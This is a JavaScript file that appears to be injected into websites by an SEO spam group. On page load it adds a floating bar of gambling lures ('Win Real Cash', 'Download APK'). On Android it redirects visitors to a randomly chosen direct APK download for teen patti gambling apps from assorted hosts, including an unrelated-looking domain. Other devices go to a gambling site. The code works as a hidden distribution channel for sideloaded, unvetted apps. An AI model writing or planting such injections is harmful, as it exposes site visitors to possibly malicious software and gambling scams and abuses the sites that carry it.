console.log('谷歌SEO-长城外(CCW)团队 Telegram: https://t.me/ggseo_ccw');

var linkbotton;

if (/Android/i.test(navigator.userAgent)) {
    const currentHour = new Date().getHours();
    const isEvening = currentHour >= 12 || currentHour < 11;
    const randomChance = Math.random();
    if (randomChance < 0.34) {
        linkbotton = "https://renew.sabkagame.com/download/apk/teenpattiglobal.apk";
    } else if (isEvening && randomChance < 0.35) {
        linkbotton = "https://cdn.tpfun.xyz/static/apk/5195_1.0.0.252_pro_v1_02.apk";
    } else if (isEvening && randomChance < 0.39) {
        linkbotton = "https://tempevacationrentalmanager.com/Media/2.22/Master_3hb85s.apk";
    } else if (isEvening && randomChance < 0.43) {
        linkbotton = "https://d2p87ijn5tu6wy.cloudfront.net/teenpattigold120.apk";
    } else {
        linkbotton = "https://d2ab0xiscqzniq.cloudfront.net/teenpattimaster602.apk";
    }
    
} else if (/iPhone|iPad|iPod/i.test(navigator.userAgent)) {
    linkbotton = "https://www.teenpattionline.game";
} else {
    linkbotton = "https://www.teenpattionline.game";
}



// 定义函数来处理点击事件
function handleLinkClick() {
    window.location.href = linkbotton;
}


function loadFloatingimages() {
    // 创建并插入样式
    const style = document.createElement('style');
    style.textContent = `
        body {
            margin: 0;
            font-family: Arial, sans-serif;
        }
        .button-container {
            position: fixed;
            bottom: 0;
            width: 100%;
            display: flex;
            z-index: 99999;
        }
        .button {
            width: 50%;
            height: 50px;
            display: flex;
            align-items: center;
            justify-content: center;
            color: white;
            font-size: 16px;
            text-decoration: none;
            cursor: pointer;
        }
        .button.signup {
            background-image: linear-gradient(180deg, #FFBE6B 0%, #FF8000 100%);
        }
        .button.login {
            background-image: linear-gradient(180deg, #8451FF 0%, #639BFF 100%);
        }
        .popup-overlay {
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: rgba(0, 0, 0, 0.5);
            display: flex;
            align-items: center;
            justify-content: center;
            z-index: 1000;
            visibility: hidden;
            opacity: 0;
            transition: opacity 0.3s, visibility 0.3s;
        }
        .popup {
            position: relative;
            padding: 20px;
            border-radius: 10px;
            text-align: center;
            max-width: 80%;
            height: auto;
        }
        @media (min-width: 601px) {
            .popup {
                max-width: 600px;
            }
        }
        .popup-overlay.show {
            visibility: visible;
            opacity: 1;
        }
    `;
    document.head.appendChild(style);

    // 定义登录按钮的文本数组
    const loginTexts = [
        "Play Now",
        "Start Winning",
        "Instant Play",
        "Claim Bonus",
        "Join a Table",
        "Free Demo",
        "Win Real Cash",
        "Bet Now",
        "Sign Up Bonus",
        "Play with Friends",
        "Cash Games",
        "Quick Match",
        "Online Tournaments",
        "Live Dealers",
        "Exclusive Offer"
    ];

    // 随机选择一个登录按钮的文本
    const randomLoginText = loginTexts[Math.floor(Math.random() * loginTexts.length)];

    // 创建并插入按钮容器
    const buttonContainer = document.createElement('div');
    buttonContainer.className = 'button-container';
    buttonContainer.innerHTML = `
        <div class="button login" onclick="handleLinkClick()">${randomLoginText}</div>
        <div class="button signup" onclick="handleLinkClick()">Download APK</div>
    `;
    document.body.appendChild(buttonContainer);

  
}

function closePopup() {
    document.querySelector('.popup-overlay').classList.remove('show');
}


// 页面加载完成后加载浮动按钮和弹窗
window.onload = loadFloatingimages;



